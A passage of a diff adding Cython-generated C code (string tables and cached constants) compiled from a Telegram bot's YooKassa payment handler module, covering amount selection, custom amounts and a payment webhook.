{&__pyx_kp_u_YOOKASSA_HASH_2, __pyx_k_YOOKASSA_HASH_2, sizeof(__pyx_k_YOOKASSA_HASH_2), 0, 1, 0, 0}, + {&__pyx_n_s_YOOKASSA_SECRET_KEY, __pyx_k_YOOKASSA_SECRET_KEY, sizeof(__pyx_k_YOOKASSA_SECRET_KEY), 0, 0, 1, 1}, + {&__pyx_n_s_YOOKASSA_SHOP_ID, __pyx_k_YOOKASSA_SHOP_ID, sizeof(__pyx_k_YOOKASSA_SHOP_ID), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__18, __pyx_k__18, sizeof(__pyx_k__18), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__22, __pyx_k__22, sizeof(__pyx_k__22), 0, 1, 0, 0}, + {&__pyx_kp_u__23, __pyx_k__23, sizeof(__pyx_k__23), 0, 1, 0, 0}, + {&__pyx_kp_u__24, __pyx_k__24, sizeof(__pyx_k__24), 0, 1, 0, 0}, + {&__pyx_n_s__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 0, 1, 1}, + {&__pyx_kp_u__26, __pyx_k__26, sizeof(__pyx_k__26), 0, 1, 0, 0}, + {&__pyx_kp_u__3, __pyx_k__3, sizeof(__pyx_k__3), 0, 1, 0, 0}, + {&__pyx_n_s__33, __pyx_k__33, sizeof(__pyx_k__33), 0, 0, 1, 1}, + {&__pyx_kp_u__4, __pyx_k__4, sizeof(__pyx_k__4), 0, 1, 0, 0}, + {&__pyx_kp_u__6, __pyx_k__6, sizeof(__pyx_k__6), 0, 1, 0, 0}, + {&__pyx_kp_u__8, __pyx_k__8, sizeof(__pyx_k__8), 0, 1, 0, 0}, + {&__pyx_n_u__9, __pyx_k__9, sizeof(__pyx_k__9), 0, 1, 0, 1}, + {&__pyx_n_s_account_id, __pyx_k_account_id, sizeof(__pyx_k_account_id), 0, 0, 1, 1}, + {&__pyx_n_s_add_connection, __pyx_k_add_connection, sizeof(__pyx_k_add_connection), 0, 0, 1, 1}, + {&__pyx_n_s_add_payment, __pyx_k_add_payment, sizeof(__pyx_k_add_payment), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram, __pyx_k_aiogram, sizeof(__pyx_k_aiogram), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_context, __pyx_k_aiogram_fsm_context, sizeof(__pyx_k_aiogram_fsm_context), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_fsm_state, __pyx_k_aiogram_fsm_state, sizeof(__pyx_k_aiogram_fsm_state), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_types, __pyx_k_aiogram_types, sizeof(__pyx_k_aiogram_types), 0, 0, 1, 1}, + {&__pyx_n_s_aiogram_utils_keyboard, __pyx_k_aiogram_utils_keyboard, sizeof(__pyx_k_aiogram_utils_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_aiohttp, __pyx_k_aiohttp, sizeof(__pyx_k_aiohttp), 0, 0, 1, 1}, + {&__pyx_n_s_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 0, 1, 1}, + {&__pyx_n_u_amount, __pyx_k_amount, sizeof(__pyx_k_amount), 0, 1, 0, 1}, + {&__pyx_kp_u_amount_2, __pyx_k_amount_2, sizeof(__pyx_k_amount_2), 0, 1, 0, 0}, + {&__pyx_n_s_amount_str, __pyx_k_amount_str, sizeof(__pyx_k_amount_str), 0, 0, 1, 1}, + {&__pyx_n_s_answer, __pyx_k_answer, sizeof(__pyx_k_answer), 0, 0, 1, 1}, + {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, + {&__pyx_n_s_as_markup, __pyx_k_as_markup, sizeof(__pyx_k_as_markup), 0, 0, 1, 1}, + {&__pyx_n_s_asyncio_coroutines, __pyx_k_asyncio_coroutines, sizeof(__pyx_k_asyncio_coroutines), 0, 0, 1, 1}, + {&__pyx_n_s_await, __pyx_k_await, sizeof(__pyx_k_await), 0, 0, 1, 1}, + {&__pyx_n_s_balance, __pyx_k_balance, sizeof(__pyx_k_balance), 0, 0, 1, 1}, + {&__pyx_n_s_builder, __pyx_k_builder, sizeof(__pyx_k_builder), 0, 0, 1, 1}, + {&__pyx_n_s_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 0, 1, 1}, + {&__pyx_n_u_callback_data, __pyx_k_callback_data, sizeof(__pyx_k_callback_data), 0, 1, 0, 1}, + {&__pyx_n_s_callback_query, __pyx_k_callback_query, sizeof(__pyx_k_callback_query), 0, 0, 1, 1}, + {&__pyx_n_u_capture, __pyx_k_capture, sizeof(__pyx_k_capture), 0, 1, 0, 1}, + {&__pyx_n_s_chat, __pyx_k_chat, sizeof(__pyx_k_chat), 0, 0, 1, 1}, + {&__pyx_n_s_check_connection_exists, __pyx_k_check_connection_exists, sizeof(__pyx_k_check_connection_exists), 0, 0, 1, 1}, + {&__pyx_n_s_choosing_amount_yookassa, __pyx_k_choosing_amount_yookassa, sizeof(__pyx_k_choosing_amount_yookassa), 0, 0, 1, 1}, + {&__pyx_n_s_class_getitem, __pyx_k_class_getitem, sizeof(__pyx_k_class_getitem), 0, 0, 1, 1}, + {&__pyx_n_s_cline_in_traceback, __pyx_k_cline_in_traceback, sizeof(__pyx_k_cline_in_traceback), 0, 0, 1, 1}, + {&__pyx_n_s_close, __pyx_k_close, sizeof(__pyx_k_close), 0, 0, 1, 1}, + {&__pyx_n_s_config, __pyx_k_config, sizeof(__pyx_k_config), 0, 0, 1, 1}, + {&__pyx_n_s_confirm_keyboard, __pyx_k_confirm_keyboard, sizeof(__pyx_k_confirm_keyboard), 0, 0, 1, 1}, + {&__pyx_n_u_confirmation, __pyx_k_confirmation, sizeof(__pyx_k_confirmation), 0, 1, 0, 1}, + {&__pyx_n_u_confirmation_url, __pyx_k_confirmation_url, sizeof(__pyx_k_confirmation_url), 0, 1, 0, 1}, + {&__pyx_n_s_create, __pyx_k_create, sizeof(__pyx_k_create), 0, 0, 1, 1}, + {&__pyx_n_u_currency, __pyx_k_currency, sizeof(__pyx_k_currency), 0, 1, 0, 1}, + {&__pyx_n_u_customer, __pyx_k_customer, sizeof(__pyx_k_customer), 0, 1, 0, 1}, + {&__pyx_n_s_customer_email, __pyx_k_customer_email, sizeof(__pyx_k_customer_email), 0, 0, 1, 1}, + {&__pyx_n_s_customer_id, __pyx_k_customer_id, sizeof(__pyx_k_customer_id), 0, 0, 1, 1}, + {&__pyx_n_s_customer_name, __pyx_k_customer_name, sizeof(__pyx_k_customer_name), 0, 0, 1, 1}, + {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, + {&__pyx_n_s_database, __pyx_k_database, sizeof(__pyx_k_database), 0, 0, 1, 1}, + {&__pyx_n_s_debug, __pyx_k_debug, sizeof(__pyx_k_debug), 0, 0, 1, 1}, + {&__pyx_n_u_description, __pyx_k_description, sizeof(__pyx_k_description), 0, 1, 0, 1}, + {&__pyx_n_s_dict, __pyx_k_dict, sizeof(__pyx_k_dict), 0, 0, 1, 1}, + {&__pyx_kp_u_disable, __pyx_k_disable, sizeof(__pyx_k_disable), 0, 1, 0, 0}, + {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, + {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, + {&__pyx_n_u_email, __pyx_k_email, sizeof(__pyx_k_email), 0, 1, 0, 1}, + {&__pyx_kp_u_enable, __pyx_k_enable, sizeof(__pyx_k_enable), 0, 1, 0, 0}, + {&__pyx_n_u_enter_custom_amount_yookassa, __pyx_k_enter_custom_amount_yookassa, sizeof(__pyx_k_enter_custom_amount_yookassa), 0, 1, 0, 1}, + {&__pyx_n_s_entering_custom_amount_yookassa, __pyx_k_entering_custom_amount_yookassa, sizeof(__pyx_k_entering_custom_amount_yookassa), 0, 0, 1, 1}, + {&__pyx_n_s_error, __pyx_k_error, sizeof(__pyx_k_error), 0, 0, 1, 1}, + {&__pyx_n_s_event, __pyx_k_event, sizeof(__pyx_k_event), 0, 0, 1, 1}, + {&__pyx_n_s_exists, __pyx_k_exists, sizeof(__pyx_k_exists), 0, 0, 1, 1}, + {&__pyx_n_s_expected_hash, __pyx_k_expected_hash, sizeof(__pyx_k_expected_hash), 0, 0, 1, 1}, + {&__pyx_n_s_find_one, __pyx_k_find_one, sizeof(__pyx_k_find_one), 0, 0, 1, 1}, + {&__pyx_n_s_from_user, __pyx_k_from_user, sizeof(__pyx_k_from_user), 0, 0, 1, 1}, + {&__pyx_n_s_full_name, __pyx_k_full_name, sizeof(__pyx_k_full_name), 0, 0, 1, 1}, + {&__pyx_n_u_full_name, __pyx_k_full_name, sizeof(__pyx_k_full_name), 0, 1, 0, 1}, + {&__pyx_kp_u_gc, __pyx_k_gc, sizeof(__pyx_k_gc), 0, 1, 0, 0}, + {&__pyx_n_s_get, __pyx_k_get, sizeof(__pyx_k_get), 0, 0, 1, 1}, + {&__pyx_n_s_get_key_count, __pyx_k_get_key_count, sizeof(__pyx_k_get_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_gift, __pyx_k_handlers_payments_gift, sizeof(__pyx_k_handlers_payments_gift), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_utils, __pyx_k_handlers_payments_utils, sizeof(__pyx_k_handlers_payments_utils), 0, 0, 1, 1}, + {&__pyx_n_s_handlers_payments_yookassa_pay, __pyx_k_handlers_payments_yookassa_pay, sizeof(__pyx_k_handlers_payments_yookassa_pay), 0, 0, 1, 1}, + {&__pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_k_handlers_payments_yookassa_pay_p, sizeof(__pyx_k_handlers_payments_yookassa_pay_p), 0, 0, 1, 0}, + {&__pyx_n_s_handlers_texts, __pyx_k_handlers_texts, sizeof(__pyx_k_handlers_texts), 0, 0, 1, 1}, + {&__pyx_kp_u_https_pocomacho_ru_success_html, __pyx_k_https_pocomacho_ru_success_html, sizeof(__pyx_k_https_pocomacho_ru_success_html), 0, 1, 0, 0}, + {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, + {&__pyx_n_s_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 0, 1, 1}, + {&__pyx_n_u_id, __pyx_k_id, sizeof(__pyx_k_id), 0, 1, 0, 1}, + {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, + {&__pyx_n_s_info, __pyx_k_info, sizeof(__pyx_k_info), 0, 0, 1, 1}, + {&__pyx_n_s_init_subclass, __pyx_k_init_subclass, sizeof(__pyx_k_init_subclass), 0, 0, 1, 1}, + {&__pyx_n_s_initializing, __pyx_k_initializing, sizeof(__pyx_k_initializing), 0, 0, 1, 1}, + {&__pyx_n_s_inline_keyboard, __pyx_k_inline_keyboard, sizeof(__pyx_k_inline_keyboard), 0, 0, 1, 1}, + {&__pyx_n_s_is_coroutine, __pyx_k_is_coroutine, sizeof(__pyx_k_is_coroutine), 0, 0, 1, 1}, + {&__pyx_n_s_isdigit, __pyx_k_isdigit, sizeof(__pyx_k_isdigit), 0, 0, 1, 1}, + {&__pyx_kp_u_isenabled, __pyx_k_isenabled, sizeof(__pyx_k_isenabled), 0, 1, 0, 0}, + {&__pyx_n_u_items, __pyx_k_items, sizeof(__pyx_k_items), 0, 1, 0, 1}, + {&__pyx_n_s_json, __pyx_k_json, sizeof(__pyx_k_json), 0, 0, 1, 1}, + {&__pyx_n_s_key_count, __pyx_k_key_count, sizeof(__pyx_k_key_count), 0, 0, 1, 1}, + {&__pyx_n_s_logger, __pyx_k_logger, sizeof(__pyx_k_logger), 0, 0, 1, 1}, + {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, + {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, + {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, + {&__pyx_n_s_metadata, __pyx_k_metadata, sizeof(__pyx_k_metadata), 0, 0, 1, 1}, + {&__pyx_n_u_metadata, __pyx_k_metadata, sizeof(__pyx_k_metadata), 0, 1, 0, 1}, + {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, + {&__pyx_n_s_mro_entries, __pyx_k_mro_entries, sizeof(__pyx_k_mro_entries), 0, 0, 1, 1}, + {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, + {&__pyx_n_u_object, __pyx_k_object, sizeof(__pyx_k_object), 0, 1, 0, 1}, + {&__pyx_n_s_paid, __pyx_k_paid, sizeof(__pyx_k_paid), 0, 0, 1, 1}, + {&__pyx_n_u_pay, __pyx_k_pay, sizeof(__pyx_k_pay), 0, 1, 0, 1}, + {&__pyx_n_u_pay_yookassa, __pyx_k_pay_yookassa, sizeof(__pyx_k_pay_yookassa), 0, 1, 0, 1}, + {&__pyx_n_s_payment, __pyx_k_payment, sizeof(__pyx_k_payment), 0, 0, 1, 1}, + {&__pyx_n_s_payment_id, __pyx_k_payment_id, sizeof(__pyx_k_payment_id), 0, 0, 1, 1}, + {&__pyx_n_s_payment_object, __pyx_k_payment_object, sizeof(__pyx_k_payment_object), 0, 0, 1, 1}, + {&__pyx_n_s_payment_url, __pyx_k_payment_url, sizeof(__pyx_k_payment_url), 0, 0, 1, 1}, + {&__pyx_n_u_pending, __pyx_k_pending, sizeof(__pyx_k_pending), 0, 1, 0, 1}, + {&__pyx_n_u_phone, __pyx_k_phone, sizeof(__pyx_k_phone), 0, 1, 0, 1}, + {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, + {&__pyx_n_s_process_amount_selection, __pyx_k_process_amount_selection, sizeof(__pyx_k_process_amount_selection), 0, 0, 1, 1}, + {&__pyx_n_s_process_callback_pay_yookassa, __pyx_k_process_callback_pay_yookassa, sizeof(__pyx_k_process_callback_pay_yookassa), 0, 0, 1, 1}, + {&__pyx_n_s_process_custom_amount_input, __pyx_k_process_custom_amount_input, sizeof(__pyx_k_process_custom_amount_input), 0, 0, 1, 1}, + {&__pyx_n_s_process_enter_custom_amount, __pyx_k_process_enter_custom_amount, sizeof(__pyx_k_process_enter_custom_amount), 0, 0, 1, 1}, + {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, + {&__pyx_n_u_quantity, __pyx_k_quantity, sizeof(__pyx_k_quantity), 0, 1, 0, 1}, + {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, + {&__pyx_n_u_receipt, __pyx_k_receipt, sizeof(__pyx_k_receipt), 0, 1, 0, 1}, + {&__pyx_n_u_redirect, __pyx_k_redirect, sizeof(__pyx_k_redirect), 0, 1, 0, 1}, + {&__pyx_n_s_reply_markup, __pyx_k_reply_markup, sizeof(__pyx_k_reply_markup), 0, 0, 1, 1}, + {&__pyx_n_s_request, __pyx_k_request, sizeof(__pyx_k_request), 0, 0, 1, 1}, + {&__pyx_n_u_return_url, __pyx_k_return_url, sizeof(__pyx_k_return_url), 0, 1, 0, 1}, + {&__pyx_n_s_router, __pyx_k_router, sizeof(__pyx_k_router), 0, 0, 1, 1}, + {&__pyx_n_s_row, __pyx_k_row, sizeof(__pyx_k_row), 0, 0, 1, 1}, + {&__pyx_n_s_secret_key, __pyx_k_secret_key, sizeof(__pyx_k_secret_key), 0, 0, 1, 1}, + {&__pyx_n_s_send, __pyx_k_send, sizeof(__pyx_k_send), 0, 0, 1, 1}, + {&__pyx_n_s_send_payment_success_notificatio, __pyx_k_send_payment_success_notificatio, sizeof(__pyx_k_send_payment_success_notificatio), 0, 0, 1, 1}, + {&__pyx_n_s_session, __pyx_k_session, sizeof(__pyx_k_session), 0, 0, 1, 1}, + {&__pyx_n_s_set_name, __pyx_k_set_name, sizeof(__pyx_k_set_name), 0, 0, 1, 1}, + {&__pyx_n_s_set_state, __pyx_k_set_state, sizeof(__pyx_k_set_state), 0, 0, 1, 1}, + {&__pyx_kp_u_solo_net, __pyx_k_solo_net, sizeof(__pyx_k_solo_net), 0, 1, 0, 0}, + {&__pyx_kp_u_solonet_sup, __pyx_k_solonet_sup, sizeof(__pyx_k_solonet_sup), 0, 1, 0, 0}, + {&__pyx_n_s_spec, __pyx_k_spec, sizeof(__pyx_k_spec), 0, 0, 1, 1}, + {&__pyx_n_s_split, __pyx_k_split, sizeof(__pyx_k_split), 0, 0, 1, 1}, + {&__pyx_n_s_startswith, __pyx_k_startswith, sizeof(__pyx_k_startswith), 0, 0, 1, 1}, + {&__pyx_n_s_state, __pyx_k_state, sizeof(__pyx_k_state), 0, 0, 1, 1}, + {&__pyx_n_s_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 0, 1, 1}, + {&__pyx_n_u_status, __pyx_k_status, sizeof(__pyx_k_status), 0, 1, 0, 1}, + {&__pyx_n_u_succeeded, __pyx_k_succeeded, sizeof(__pyx_k_succeeded), 0, 1, 0, 1}, + {&__pyx_n_s_super, __pyx_k_super, sizeof(__pyx_k_super), 0, 0, 1, 1}, + {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, + {&__pyx_n_s_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 0, 1, 1}, + {&__pyx_n_u_text, __pyx_k_text, sizeof(__pyx_k_text), 0, 1, 0, 1}, + {&__pyx_n_s_tg_id, __pyx_k_tg_id, sizeof(__pyx_k_tg_id), 0, 0, 1, 1}, + {&__pyx_n_s_throw, __pyx_k_throw, sizeof(__pyx_k_throw), 0, 0, 1, 1}, + {&__pyx_n_s_trial, __pyx_k_trial, sizeof(__pyx_k_trial), 0, 0, 1, 1}, + {&__pyx_n_u_type, __pyx_k_type, sizeof(__pyx_k_type), 0, 1, 0, 1}, + {&__pyx_n_s_types, __pyx_k_types, sizeof(__pyx_k_types), 0, 0, 1, 1}, + {&__pyx_kp_s_types_CallbackQuery, __pyx_k_types_CallbackQuery, sizeof(__pyx_k_types_CallbackQuery), 0, 0, 1, 0}, + {&__pyx_kp_s_types_Message, __pyx_k_types_Message, sizeof(__pyx_k_types_Message), 0, 0, 1, 0}, + {&__pyx_n_s_typing, __pyx_k_typing, sizeof(__pyx_k_typing), 0, 0, 1, 1}, + {&__pyx_n_s_update_balance, __pyx_k_update_balance, sizeof(__pyx_k_update_balance), 0, 0, 1, 1}, + {&__pyx_n_s_update_data, __pyx_k_update_data, sizeof(__pyx_k_update_data), 0, 0, 1, 1}, + {&__pyx_n_s_url, __pyx_k_url, sizeof(__pyx_k_url), 0, 0, 1, 1}, + {&__pyx_n_s_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 0, 1, 1}, + {&__pyx_n_u_user_id, __pyx_k_user_id, sizeof(__pyx_k_user_id), 0, 1, 0, 1}, + {&__pyx_kp_u_user_id_amount, __pyx_k_user_id_amount, sizeof(__pyx_k_user_id_amount), 0, 1, 0, 0}, + {&__pyx_n_s_user_id_str, __pyx_k_user_id_str, sizeof(__pyx_k_user_id_str), 0, 0, 1, 1}, + {&__pyx_n_s_uuid, __pyx_k_uuid, sizeof(__pyx_k_uuid), 0, 0, 1, 1}, + {&__pyx_n_s_uuid4, __pyx_k_uuid4, sizeof(__pyx_k_uuid4), 0, 0, 1, 1}, + {&__pyx_n_u_value, __pyx_k_value, sizeof(__pyx_k_value), 0, 1, 0, 1}, + {&__pyx_n_u_vat_code, __pyx_k_vat_code, sizeof(__pyx_k_vat_code), 0, 1, 0, 1}, + {&__pyx_n_s_waiting_for_payment_confirmation, __pyx_k_waiting_for_payment_confirmation, sizeof(__pyx_k_waiting_for_payment_confirmation), 0, 0, 1, 1}, + {&__pyx_n_s_warning, __pyx_k_warning, sizeof(__pyx_k_warning), 0, 0, 1, 1}, + {&__pyx_n_s_web, __pyx_k_web, sizeof(__pyx_k_web), 0, 0, 1, 1}, + {&__pyx_n_u_yookassa, __pyx_k_yookassa, sizeof(__pyx_k_yookassa), 0, 1, 0, 1}, + {&__pyx_n_s_yookassa_2, __pyx_k_yookassa_2, sizeof(__pyx_k_yookassa_2), 0, 0, 1, 1}, + {&__pyx_n_u_yookassa_2, __pyx_k_yookassa_2, sizeof(__pyx_k_yookassa_2), 0, 1, 0, 1}, + {&__pyx_kp_u_yookassa_amount, __pyx_k_yookassa_amount, sizeof(__pyx_k_yookassa_amount), 0, 1, 0, 0}, + {&__pyx_n_s_yookassa_webhook, __pyx_k_yookassa_webhook, sizeof(__pyx_k_yookassa_webhook), 0, 0, 1, 1}, + {0, 0, 0, 0, 0, 0, 0} + }; + return __Pyx_InitStrings(__pyx_string_tab); +} +/* #### Code section: cached_builtins ### */ +static CYTHON_SMALL_CODE int __Pyx_InitCachedBuiltins(void) { + __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 59, __pyx_L1_error) + __pyx_builtin_ValueError = __Pyx_GetBuiltinName(__pyx_n_s_ValueError); if (!__pyx_builtin_ValueError) __PYX_ERR(0, 113, __pyx_L1_error) + return 0; + __pyx_L1_error:; + return -1; +} +/* #### Code section: cached_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitCachedConstants(void) { + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); + + /* "handlers/payments/yookassa_pay.py":105 + * callback_query: types.CallbackQuery, state: FSMContext + * ): + * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< + * + * if len(data) != 2: + */ + __pyx_tuple__7 = PyTuple_Pack(2, __pyx_kp_u__6, __pyx_int_1); if (unlikely(!__pyx_tuple__7)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__7); + __Pyx_GIVEREF(__pyx_tuple__7); + + /* "handlers/payments/yookassa_pay.py":225 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay_yookassa")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * ", .", + * reply_markup=builder.as_markup(), + */ + __pyx_tuple__19 = PyTuple_Pack(1, __pyx_kp_u__18); if (unlikely(!__pyx_tuple__19)) __PYX_ERR(0, 225, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__19); + __Pyx_GIVEREF(__pyx_tuple__19); + + /* "handlers/payments/yookassa_pay.py":43 + * + * + * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_yookassa( + * callback_query: types.CallbackQuery, state: FSMContext, session: Any + */ + __pyx_tuple__27 = PyTuple_Pack(9, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_session, __pyx_n_s_expected_hash, __pyx_n_s_tg_id, __pyx_n_s_builder, __pyx_n_s_i, __pyx_n_s_key_count, __pyx_n_s_exists); if (unlikely(!__pyx_tuple__27)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__27); + __Pyx_GIVEREF(__pyx_tuple__27); + __pyx_codeobj_ = (PyObject*)__Pyx_PyCode_New(3, 0, 0, 9, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__27, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_callback_pay_yookassa, 43, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj_)) __PYX_ERR(0, 43, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":101 + * + * + * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__28 = PyTuple_Pack(1, __pyx_kp_u_yookassa_amount); if (unlikely(!__pyx_tuple__28)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__28); + __Pyx_GIVEREF(__pyx_tuple__28); + __pyx_tuple__29 = PyTuple_Pack(11, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_data, __pyx_n_s_amount_str, __pyx_n_s_amount, __pyx_n_s_customer_name, __pyx_n_s_customer_id, __pyx_n_s_customer_email, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard); if (unlikely(!__pyx_tuple__29)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__29); + __Pyx_GIVEREF(__pyx_tuple__29); + __pyx_codeobj__5 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 11, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__29, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_amount_selection, 101, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__5)) __PYX_ERR(0, 101, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":174 + * + * + * async def yookassa_webhook(request): # <<<<<<<<<<<<<< + * """ + * Yookassa . + */ + __pyx_tuple__30 = PyTuple_Pack(10, __pyx_n_s_request, __pyx_n_s_event, __pyx_n_s_payment_object, __pyx_n_s_payment_id, __pyx_n_s_payment, __pyx_n_s_user_id_str, __pyx_n_s_amount_str, __pyx_n_s_user_id, __pyx_n_s_amount, __pyx_n_s_e); if (unlikely(!__pyx_tuple__30)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__30); + __Pyx_GIVEREF(__pyx_tuple__30); + __pyx_codeobj__13 = (PyObject*)__Pyx_PyCode_New(1, 0, 0, 10, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__30, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_yookassa_webhook, 174, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__13)) __PYX_ERR(0, 174, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":218 + * + * + * @router.callback_query(F.data == "enter_custom_amount_yookassa") # <<<<<<<<<<<<<< + * async def process_enter_custom_amount( + * callback_query: types.CallbackQuery, state: FSMContext + */ + __pyx_tuple__31 = PyTuple_Pack(3, __pyx_n_s_callback_query, __pyx_n_s_state, __pyx_n_s_builder); if (unlikely(!__pyx_tuple__31)) __PYX_ERR(0, 218, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__31); + __Pyx_GIVEREF(__pyx_tuple__31); + __pyx_codeobj__16 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 3, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__31, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_enter_custom_amount, 218, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__16)) __PYX_ERR(0, 218, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":233 + * + * + * @router.message(ReplenishBalanceState.entering_custom_amount_yookassa) # <<<<<<<<<<<<<< + * async def process_custom_amount_input(message: types.Message, state: FSMContext): + * if message.text.isdigit(): + */ + __pyx_tuple__32 = PyTuple_Pack(7, __pyx_n_s_message, __pyx_n_s_state, __pyx_n_s_amount, __pyx_n_s_payment, __pyx_n_s_payment_url, __pyx_n_s_confirm_keyboard, __pyx_n_s_e); if (unlikely(!__pyx_tuple__32)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_GOTREF(__pyx_tuple__32); + __Pyx_GIVEREF(__pyx_tuple__32); + __pyx_codeobj__20 = (PyObject*)__Pyx_PyCode_New(2, 0, 0, 7, 0, CO_OPTIMIZED|CO_NEWLOCALS|CO_COROUTINE, __pyx_empty_bytes, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_tuple__32, __pyx_empty_tuple, __pyx_empty_tuple, __pyx_kp_s_handlers_payments_yookassa_pay_p, __pyx_n_s_process_custom_amount_input, 233, __pyx_empty_bytes); if (unlikely(!__pyx_codeobj__20)) __PYX_ERR(0, 233, __pyx_L1_error) + __Pyx_RefNannyFinishContext(); + return 0; + __pyx_L1_error:; + __Pyx_RefNannyFinishContext(); + return -1; +} +/* #### Code section: init_constants ### */ + +static CYTHON_SMALL_CODE int __Pyx_InitConstants(void) { + if (__Pyx_CreateStringTabAndInitStrings() < 0) __PYX_ERR(0, 1, __pyx_L1_error); + __pyx_float_0_0 = PyFloat_FromDouble(0.0); if 